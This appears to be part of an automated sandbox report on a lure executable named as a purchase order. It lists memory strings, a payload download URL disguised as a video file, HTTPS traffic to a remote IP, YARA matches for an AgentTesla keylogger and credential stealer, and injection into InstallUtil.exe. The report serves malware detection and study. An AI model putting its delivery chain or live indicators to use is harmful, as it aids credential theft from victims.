Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003201000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003201000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com/manxz/Pqbrsrcnsx.mp4
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.9:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.9:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.9:49870 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: GEFA-Order 232343-68983689.exe

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F173E0 NtProtectVirtualMemory,	0_2_06F173E0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F183B8 NtResumeThread,	0_2_06F183B8
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F173D8 NtProtectVirtualMemory,	0_2_06F173D8
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F183B0 NtResumeThread,	0_2_06F183B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B283B8 NtResumeThread,	4_2_06B283B8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B273E0 NtProtectVirtualMemory,	4_2_06B273E0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B283B0 NtResumeThread,	4_2_06B283B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B273D8 NtProtectVirtualMemory,	4_2_06B273D8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC83B8 NtResumeThread,	6_2_06BC83B8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC73E0 NtProtectVirtualMemory,	6_2_06BC73E0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC83B0 NtResumeThread,	6_2_06BC83B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC73D8 NtProtectVirtualMemory,	6_2_06BC73D8

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F56E5B	0_2_06F56E5B
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_030BF6B0	0_2_030BF6B0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_030BD6C4	0_2_030BD6C4
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD3730	0_2_06DD3730
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DDE4D0	0_2_06DDE4D0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD5D62	0_2_06DD5D62
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD7174	0_2_06DD7174
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD9E17	0_2_06DD9E17
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD9E28	0_2_06DD9E28
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DDCF90	0_2_06DDCF90
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DDD708	0_2_06DDD708
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD3720	0_2_06DD3720
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD8C78	0_2_06DD8C78
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD8C68	0_2_06DD8C68
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD0040	0_2_06DD0040
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD0007	0_2_06DD0007
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F142C0	0_2_06F142C0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1A198	0_2_06F1A198
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F10408	0_2_06F10408
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F112E0	0_2_06F112E0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F112D3	0_2_06F112D3
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F142B0	0_2_06F142B0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1A228	0_2_06F1A228
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F103D0	0_2_06F103D0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1A188	0_2_06F1A188
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F28690	0_2_06F28690
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F2C300	0_2_06F2C300
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F28687	0_2_06F28687
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F2C627	0_2_06F2C627
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F20040	0_2_06F20040
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F20006	0_2_06F20006
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F29110	0_2_06F29110
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F29100	0_2_06F29100
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F2D906	0_2_06F2D906
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F3FA60	0_2_06F3FA60
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F3A010	0_2_06F3A010
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F3FE1E	0_2_06F3FE1E
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F3FA4F	0_2_06F3FA4F
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF0C45	0_2_06FF0C45
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF4DF8	0_2_06FF4DF8
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF5920	0_2_06FF5920
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF2A18	0_2_06FF2A18
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF2A0B	0_2_06FF2A0B
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF4DE9	0_2_06FF4DE9
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF5910	0_2_06FF5910
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_0724D798	0_2_0724D798
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_0724CB28	0_2_0724CB28
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_0723003D	0_2_0723003D
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_07230040	0_2_07230040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_012D4190	2_2_012D4190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_012D4A60	2_2_012D4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_012D9C68	2_2_012D9C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_012DCF28	2_2_012DCF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_012D3E48	2_2_012D3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05B3AF18	2_2_05B3AF18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05B39408	2_2_05B39408
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_0131F6B0	4_2_0131F6B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_0131D6C4	4_2_0131D6C4
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E3730	4_2_069E3730
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069EE4D0	4_2_069EE4D0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E5D62	4_2_069E5D62
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E7174	4_2_069E7174
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E9E17	4_2_069E9E17
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E9E28	4_2_069E9E28
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069ECF90	4_2_069ECF90
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069ED708	4_2_069ED708
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E3720	4_2_069E3720
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E8C78	4_2_069E8C78
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E8C68	4_2_069E8C68
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E0028	4_2_069E0028
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E0040	4_2_069E0040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B242C0	4_2_06B242C0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B2A198	4_2_06B2A198
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B242B0	4_2_06B242B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B212E0	4_2_06B212E0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B212D2	4_2_06B212D2
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B2A228	4_2_06B2A228
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B2A188	4_2_06B2A188
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B38690	4_2_06B38690
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B3C300	4_2_06B3C300
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B38686	4_2_06B38686
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B3C627	4_2_06B3C627
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B30006	4_2_06B30006
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B30040	4_2_06B30040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B39110	4_2_06B39110
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B39100	4_2_06B39100
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B4FA60	4_2_06B4FA60
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B4CC30	4_2_06B4CC30
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B4FA4F	4_2_06B4FA4F
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B4A0F8	4_2_06B4A0F8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06BB0006	4_2_06BB0006
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06BB0040	4_2_06BB0040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C03E08	4_2_06C03E08
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C04930	4_2_06C04930
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C08ADA	4_2_06C08ADA
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C08747	4_2_06C08747
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C03DFB	4_2_06C03DFB
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C0491F	4_2_06C0491F
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06E5D798	4_2_06E5D798
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06E5CB28	4_2_06E5CB28
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06E40040	4_2_06E40040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06E40039	4_2_06E40039
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_01634A60	5_2_01634A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_01639C62	5_2_01639C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0163CF28	5_2_0163CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_01633E48	5_2_01633E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_01634190	5_2_01634190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_066956A8	5_2_066956A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06690040	5_2_06690040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06692EE8	5_2_06692EE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06693F20	5_2_06693F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0669BCC0	5_2_0669BCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06699A98	5_2_06699A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06698B53	5_2_06698B53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0669DBF0	5_2_0669DBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0669361B	5_2_0669361B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06694FC8	5_2_06694FC8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_0160F6B0	6_2_0160F6B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_0160D6C4	6_2_0160D6C4
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_0160F6A2	6_2_0160F6A2
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A83730	6_2_06A83730
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A8E4D0	6_2_06A8E4D0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A85D62	6_2_06A85D62
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A87174	6_2_06A87174
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A89E28	6_2_06A89E28
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A8CF90	6_2_06A8CF90
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A83720	6_2_06A83720
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A8D708	6_2_06A8D708
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A88C78	6_2_06A88C78
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A80006	6_2_06A80006
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A80040	6_2_06A80040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC42C0	6_2_06BC42C0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BCA198	6_2_06BCA198
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC42B0	6_2_06BC42B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC12E0	6_2_06BC12E0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BC12D3	6_2_06BC12D3
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BCA228	6_2_06BCA228
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BCA188	6_2_06BCA188
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD8690	6_2_06BD8690
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BDC2F0	6_2_06BDC2F0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD8682	6_2_06BD8682
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BDC627	6_2_06BDC627
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD0006	6_2_06BD0006
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD0040	6_2_06BD0040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD9110	6_2_06BD9110
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD9100	6_2_06BD9100
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BDD908	6_2_06BDD908
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BEFA60	6_2_06BEFA60
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BEFE1E	6_2_06BEFE1E
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BEFA4F	6_2_06BEFA4F
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BEA0F8	6_2_06BEA0F8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06C50040	6_2_06C50040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06C5003E	6_2_06C5003E
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA3E08	6_2_06CA3E08
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA4930	6_2_06CA4930
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA8ADA	6_2_06CA8ADA
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA8747	6_2_06CA8747
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA3DF9	6_2_06CA3DF9
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA491F	6_2_06CA491F
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06EFD798	6_2_06EFD798
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06EFCB28	6_2_06EFCB28
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06EE0040	6_2_06EE0040
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06EE0006	6_2_06EE0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_014C4A60	7_2_014C4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_014C9C62	7_2_014C9C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_014CCF28	7_2_014CCF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_014C3E48	7_2_014C3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_014C4190	7_2_014C4190

Source: GEFA-Order 232343-68983689.exe	Binary or memory string: OriginalFilename vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1388363679.000000000136E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1408943275.0000000006C10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameYmvjoijhcv.dll" vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004201000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameYmvjoijhcv.dll" vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004201000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameYmvjoijhcv.dll" vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.00000000033BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
